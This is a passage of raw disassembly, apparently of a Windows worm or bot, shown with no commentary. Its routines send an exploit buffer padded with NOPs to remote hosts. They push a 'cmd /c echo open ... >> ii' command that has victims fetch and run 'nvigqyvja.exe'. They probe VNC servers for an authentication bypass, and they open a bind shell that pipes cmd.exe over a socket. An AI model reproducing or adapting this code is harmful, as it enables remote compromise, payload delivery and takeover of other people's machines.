		mov	[ebp+var_1C], edx
		call	_malloc
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB27
		mov	eax, [ebp+Size]
		add	eax, 0FFFFFFFEh
		push	eax		; Size
		push	90h		; Val
		push	edi		; Dst
		call	_memset
		mov	eax, [ebp+Size]
		push	2		; Size
		push	ebx		; Val
		lea	eax, [edi+eax-2]
		push	eax		; Dst
		call	_memset
		mov	eax, dword_4328A4[esi]
		push	7		; Size
		add	eax, edi
		push	offset dword_432890 ; Src
		push	eax		; Dst
		mov	[ebp+arg_4], eax
		call	_memcpy
		mov	eax, [ebp+arg_4]
		push	15Ch		; Size
		add	eax, 7
		push	offset dword_432730 ; Src
		push	eax		; Dst
		call	_memcpy
		mov	eax, dword_4328A0[esi]
		add	esp, 30h
		cmp	byte_4328A8[esi], bl
		mov	[ebp+arg_4], eax
		jz	short loc_40DCB8
		push	4		; Size
		add	eax, edi
		push	offset dword_4CE374 ; Src
		push	eax		; Dst
		call	_memcpy
		add	[ebp+arg_4], 0Ch
		mov	esi, offset dword_4328C0
		mov	eax, [ebp+arg_4]
		push	4		; Size
		add	eax, edi
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		mov	eax, [ebp+arg_4]
		push	4		; Size
		push	esi		; Src
		lea	eax, [eax+edi+24h]
		push	eax		; Dst
		mov	[ebp+arg_4], eax
		call	_memcpy
		mov	eax, [ebp+arg_4]
		push	4		; Size
		add	eax, 0Ch
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 30h
		jmp	short loc_40DCE0
; ---------------------------------------------------------------------------


loc_40DCB8:				; CODE XREF: sub_40D99C+2CDj
		add	eax, edi
		mov	[ebp+var_8], 10h
		mov	[ebp+arg_4], eax
		mov	esi, offset dword_4328C0


loc_40DCC9:				; CODE XREF: sub_40D99C+342j
		push	4		; Size
		push	esi		; Src
		push	[ebp+arg_4]	; Dst
		call	_memcpy
		add	[ebp+arg_4], 4
		add	esp, 0Ch
		dec	[ebp+var_8]
		jnz	short loc_40DCC9


loc_40DCE0:				; CODE XREF: sub_40D99C+31Aj
		mov	eax, [ebp+Size]
		add	eax, 42h
		push	eax		; Size
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_40DD0B
		push	[ebp+var_4]
		call	ds:dword_427068	; CloseHandle
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA51
; ---------------------------------------------------------------------------


loc_40DD0B:				; CODE XREF: sub_40D99C+358j
		mov	eax, [ebp+Size]
		add	eax, 42h
		push	eax		; Size
		push	ebx		; double
		push	esi		; Dst
		call	_memset
		lea	eax, [ebp+Src]
		push	14h		; Size
		push	eax		; Src
		push	esi		; Dst
		call	_memcpy
		mov	eax, [ebp+Size]
		mov	dword ptr [ebp+var_10+4], ebx
		mov	dword ptr [ebp+var_10],	eax
		add	esp, 10h
		fild	[ebp+var_10]
		fmul	ds:flt_4276A4
		fstp	[esp+60F0h+var_60F0]
		call	_ceil
		call	__ftol
		push	[ebp+Size]	; Size
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi		; Src
		push	eax		; Dst
		call	_memcpy
		mov	eax, [ebp+Size]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+arg_4], eax
		jz	short loc_40DD78


loc_40DD70:				; CODE XREF: sub_40D99C+3D7j
		inc	eax
		test	al, 3
		jnz	short loc_40DD70
		mov	[ebp+arg_4], eax


loc_40DD78:				; CODE XREF: sub_40D99C+3D2j
		lea	ecx, [ebp+var_30]
		push	1Ch		; Size
		add	eax, esi
		push	ecx		; Src
		push	eax		; Dst
		call	_memcpy
		add	[ebp+arg_4], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h		; Size
		lea	eax, [ebp+var_48]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	14h		; Size
		lea	eax, [ebp+var_5C]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_48], 5
		mov	[ebp+var_47], bl
		mov	[ebp+var_46], bl
		mov	[ebp+var_45], 3
		mov	[ebp+var_44], 10h
		mov	[ebp+var_3E], bx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_34], bx
		mov	[ebp+var_32], 1Fh
		call	_memset
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	ds:dword_4270E4	; CreateEventA
		mov	[ebp+var_4C], eax
		mov	byte ptr [ebp+Size+3], bl
		mov	dword ptr [ebp+var_10+4], ebx


loc_40DDE5:				; CODE XREF: sub_40D99C+4D3j
		cmp	dword ptr [ebp+var_10+4], 2
		jge	loc_40DE7A
		push	1		; char
		push	10B8h		; int
		push	[ebp+arg_4]	; int
		inc	dword ptr [ebp+var_10+4]
		push	esi		; Src
		lea	esi, [ebp+var_48]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+var_4]	; int
		rep movsd
		call	sub_40D8AE
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE77
		cmp	[ebp+var_4C], ebx
		jz	short loc_40DE69
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_60DC]
		push	2000h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4270E8	; ReadFile
		test	eax, eax
		jnz	short loc_40DE50
		call	ds:dword_42708C	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_40DA51


loc_40DE50:				; CODE XREF: sub_40D99C+4A1j
		push	3E8h
		push	[ebp+var_4C]
		call	ds:dword_4270A0	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40DE69
		mov	byte ptr [ebp+Size+3], 1


loc_40DE69:				; CODE XREF: sub_40D99C+480j
					; sub_40D99C+4C7j
		cmp	byte ptr [ebp+Size+3], bl
		mov	esi, [ebp+var_8]
		jz	loc_40DDE5
		jmp	short loc_40DE7A
; ---------------------------------------------------------------------------


loc_40DE77:				; CODE XREF: sub_40D99C+47Bj
		mov	esi, [ebp+var_8]


loc_40DE7A:				; CODE XREF: sub_40D99C+44Dj
					; sub_40D99C+4D9j
		push	[ebp+var_4]
		mov	edi, ds:dword_427068
		call	edi	; CloseHandle
		push	esi
		call	sub_41B0B1
		cmp	[ebp+var_4C], ebx
		pop	ecx
		jz	short loc_40DE96
		push	[ebp+var_4C]
		call	edi	; CloseHandle


loc_40DE96:				; CODE XREF: sub_40D99C+4F3j
		cmp	byte ptr [ebp+Size+3], bl
		setnz	al


loc_40DE9C:				; CODE XREF: sub_40D99C+B7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D99C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DEA1	proc near		; CODE XREF: .text:0040DFB8p

var_5A0		= byte ptr -5A0h
Str		= byte ptr -1A0h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+Dst], 2
		push	eax
		call	ds:dword_42720C	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	ds:dword_427210	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_427220	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40DF6F
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_427214	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DF6F
		mov	edi, 400h
		push	esi
		mov	esi, ds:dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset Str	; "nvigqyvja.exe"
		push	eax
		push	eax
		push	dword_4CB390
		push	[ebp+arg_0]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+Str]
		push	190h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Str]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	ebx
		call	ds:dword_427224	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40DF73


loc_40DF6F:				; CODE XREF: sub_40DEA1+50j
					; sub_40DEA1+62j
		xor	eax, eax
		jmp	short loc_40DF8A
; ---------------------------------------------------------------------------


loc_40DF73:				; CODE XREF: sub_40DEA1+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	ds:dword_42721C	; closesocket
		push	1
		pop	eax


loc_40DF8A:				; CODE XREF: sub_40DEA1+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DEA1	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx


loc_40DF94:				; CODE XREF: .text:0040DFDAj
		lea	eax, [esp+14h]
		push	ebx
		push	eax
		call	sub_40D99C
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40DFC7
		push	65h
		lea	esi, [esp+14h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DEA1
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_40DFDC


loc_40DFC7:				; CODE XREF: .text:0040DFA3j
		test	ebx, ebx
		jnz	short loc_40DFD6
		push	7D0h
		call	ds:dword_427078	; Sleep


loc_40DFD6:				; CODE XREF: .text:0040DFC9j
		inc	ebx
		cmp	ebx, 2
		jb	short loc_40DF94


loc_40DFDC:				; CODE XREF: .text:0040DFC5j
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE3	proc near		; CODE XREF: sub_40E0D1+91p

var_5A0		= byte ptr -5A0h
Dest		= byte ptr -1A0h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+Dst], 2
		push	eax
		call	ds:dword_42720C	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	ds:dword_427210	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_427220	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B1
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_427214	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B1
		mov	edi, 400h
		push	esi
		mov	esi, ds:dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset Str	; "nvigqyvja.exe"
		push	eax
		push	eax
		push	dword_4CB390
		push	[ebp+arg_0]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+Dest]
		push	190h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	ebx
		call	ds:dword_427224	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B5


loc_40E0B1:				; CODE XREF: sub_40DFE3+50j
					; sub_40DFE3+62j
		xor	eax, eax
		jmp	short loc_40E0CC
; ---------------------------------------------------------------------------


loc_40E0B5:				; CODE XREF: sub_40DFE3+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	ds:dword_42721C	; closesocket
		push	1
		pop	eax


loc_40E0CC:				; CODE XREF: sub_40DFE3+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D1	proc near		; CODE XREF: sub_40C125+1EAp
					; DATA XREF: .data:off_431B04o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CB694	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB654	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_427220	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E143
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_427214	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E124
		push	esi
		jmp	short loc_40E13D
; ---------------------------------------------------------------------------


loc_40E124:				; CODE XREF: sub_40E0D1+4Ej
		push	0
		push	1213h
		push	offset dword_4329BC
		push	esi
		call	ds:dword_427224	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E147


loc_40E13D:				; CODE XREF: sub_40E0D1+51j
		call	ds:dword_42721C	; closesocket


loc_40E143:				; CODE XREF: sub_40E0D1+3Cj
		xor	eax, eax
		jmp	short loc_40E189
; ---------------------------------------------------------------------------


loc_40E147:				; CODE XREF: sub_40E0D1+6Aj
		call	ds:dword_42721C	; closesocket
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE3
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E186
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431B08[eax]
		lea	eax, dword_431B08[eax]


loc_40E186:				; CODE XREF: sub_40E0D1+9Ej
		push	1
		pop	eax


loc_40E189:				; CODE XREF: sub_40E0D1+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18D	proc near		; CODE XREF: .text:0040E27Bp
					; .text:0040E2DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E195:				; CODE XREF: sub_40E18D+2Dj
		test	edi, edi
		jle	short loc_40E1C0
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB66C	; recv
		test	eax, eax
		jz	short loc_40E1BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BC
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E195
; ---------------------------------------------------------------------------


loc_40E1BC:				; CODE XREF: sub_40E18D+22j
					; sub_40E18D+27j
		xor	eax, eax
		jmp	short loc_40E1C3
; ---------------------------------------------------------------------------


loc_40E1C0:				; CODE XREF: sub_40E18D+Aj
		push	1
		pop	eax


loc_40E1C3:				; CODE XREF: sub_40E18D+31j
		pop	edi
		pop	esi
		retn
sub_40E18D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C6	proc near		; CODE XREF: .text:0040E2C7p
					; .text:0040E2F4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E203
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FD


loc_40E1D6:				; CODE XREF: sub_40E1C6+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB6A4	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E203
		test	eax, eax
		jz	short loc_40E203
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D6


loc_40E1FD:				; CODE XREF: sub_40E1C6+Ej
		push	1
		pop	eax


loc_40E200:				; CODE XREF: sub_40E1C6+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E203:				; CODE XREF: sub_40E1C6+8j
					; sub_40E1C6+2Bj ...
		xor	eax, eax
		jmp	short loc_40E200
sub_40E1C6	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433C00
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CB6D4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E235
		push	eax
		jmp	short loc_40E269
; ---------------------------------------------------------------------------


loc_40E235:				; CODE XREF: .text:0040E230j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB694	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB654	; htons
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E274
		push	ebx


loc_40E269:				; CODE XREF: .text:0040E233j
		call	dword_4CB6EC	; closesocket
		jmp	loc_40E46F
; ---------------------------------------------------------------------------


loc_40E274:				; CODE XREF: .text:0040E266j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	_sscanf
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E468
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2C0
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E468


loc_40E2C0:				; CODE XREF: .text:0040E2B4j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E468
		push	1
		push	offset byte_4CB50C
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	??2@YAPAXI@Z	; operator new(uint)
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F8
		push	edi
		push	esi
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch


loc_40E3F8:				; CODE XREF: .text:0040E3EBj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	__snprintf
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A73
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AD
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431B08[eax]
		push	ebx
		lea	eax, dword_431B08[eax]
		call	ds:dword_42721C	; closesocket
		push	1
		pop	eax
		jmp	short loc_40E471
; ---------------------------------------------------------------------------


loc_40E468:				; CODE XREF: .text:0040E285j
					; .text:0040E2AAj ...
		push	ebx
		call	ds:dword_42721C	; closesocket


loc_40E46F:				; CODE XREF: .text:0040E26Fj
		xor	eax, eax


loc_40E471:				; CODE XREF: .text:0040E466j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40E476	proc near		; DATA XREF: sub_40E504+15Bo

var_404		= byte ptr -404h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47F:				; CODE XREF: sub_40E476+25j
					; sub_40E476+41j
		push	0
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4CE394
		call	dword_4CB66C	; recv
		test	eax, eax
		jle	short loc_40E47F
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4CE390
		call	ds:dword_4270E0	; WriteFile
		jmp	short loc_40E47F
sub_40E476	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40E4B9	proc near		; DATA XREF: sub_40E504+142o

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C2:				; CODE XREF: sub_40E4B9+2Fj
					; sub_40E4B9+49j
		lea	eax, [ebp+var_4]
		and	[ebp+var_4], 0
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4CE384
		call	ds:dword_4270E8	; ReadFile
		cmp	[ebp+var_4], 0
		jle	short loc_40E4C2
		push	0
		lea	eax, [ebp+var_404]
		push	[ebp+var_4]
		push	eax
		push	dword_4CE394
		call	dword_4CB6A4	; send
		jmp	short loc_40E4C2
sub_40E4B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40E504	proc near		; DATA XREF: sub_401ACD+2D0Eo

var_11C		= byte ptr -11Ch
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
Dst		= word ptr -38h
var_36		= word ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	28h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_11C]
		rep movsd
		push	1
		xor	edi, edi
		pop	esi
		mov	[eax+98h], esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_98]
		call	dword_4CB654	; htons
		push	6
		push	esi
		push	2
		mov	[ebp+var_36], ax
		call	dword_4CB6D4	; socket
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB680	; bind
		push	5
		push	[ebp+arg_0]
		call	dword_4CB67C	; listen
		mov	ebx, ds:dword_4270FC
		mov	esi, ds:dword_427068


loc_40E584:				; CODE XREF: sub_40E504+1CBj
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	dword_4CB6E8	; accept
		mov	dword_4CE394, eax
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4CE390
		push	offset dword_4CE38C
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], edi
		call	ebx	; CreatePipe
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4CE388
		push	offset dword_4CE384
		call	ebx	; CreatePipe
		push	44h		; Size
		lea	eax, [ebp+var_7C]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, dword_4CE38C
		add	esp, 0Ch
		mov	[ebp+var_44], eax
		mov	eax, dword_4CE388
		mov	[ebp+var_40], eax
		push	edi
		push	1
		lea	eax, [ebp+var_3C]
		push	2
		push	eax
		mov	[ebp+var_7C], 44h
		mov	[ebp+var_50], 101h
		mov	[ebp+var_4C], di
		call	ds:dword_4270F8	; GetCurrentProcess
		push	eax
		push	dword_4CE388
		call	ds:dword_4270F8	; GetCurrentProcess
		push	eax
		call	ds:dword_4270F4	; DuplicateHandle
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	edi
		push	edi
		push	4000090h
		lea	eax, [ebp+var_C]
		push	1
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aCmd_exe	; "cmd.exe"
		push	edi
		call	ds:dword_42706C	; CreateProcessA
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40E4B9
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	ds:dword_42707C	; CreateThread
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40E476
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	ds:dword_42707C	; CreateThread
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	[ebp+var_28]
		call	ds:dword_4270A0	; WaitForSingleObject
		push	edi
		push	[ebp+var_10]
		call	ds:dword_4270AC	; TerminateThread
		push	edi
		push	[ebp+var_14]
		call	ds:dword_4270AC	; TerminateThread
		push	[ebp+var_10]
		call	esi	; CloseHandle
		push	[ebp+var_14]
		call	esi	; CloseHandle
		push	edi
		push	[ebp+var_28]
		call	ds:dword_4270F0	; TerminateProcess
		push	dword_4CE38C
		call	esi	; CloseHandle
		push	dword_4CE390
		call	esi	; CloseHandle
		push	dword_4CE384
		call	esi	; CloseHandle
		push	dword_4CE388
		call	esi	; CloseHandle
		push	[ebp+var_24]
		call	esi	; CloseHandle
		push	[ebp+var_28]
		call	esi	; CloseHandle
		jmp	loc_40E584
sub_40E504	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40E6D4	proc near		; DATA XREF: .data:00429010o
		jmp	$+5
sub_40E6D4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E6D9	proc near
		push	0FFFEh
		push	400h
		call	sub_418685
		pop	ecx
		mov	dword_4CE39C, eax
		pop	ecx
		retn
sub_40E6D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E6F0	proc near		; DATA XREF: sub_40BACE+34Do

Dest		= byte ptr -6C0h
var_2C0		= dword	ptr -2C0h
var_C0		= byte ptr -0C0h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A4		= dword	ptr -0A4h
Str		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
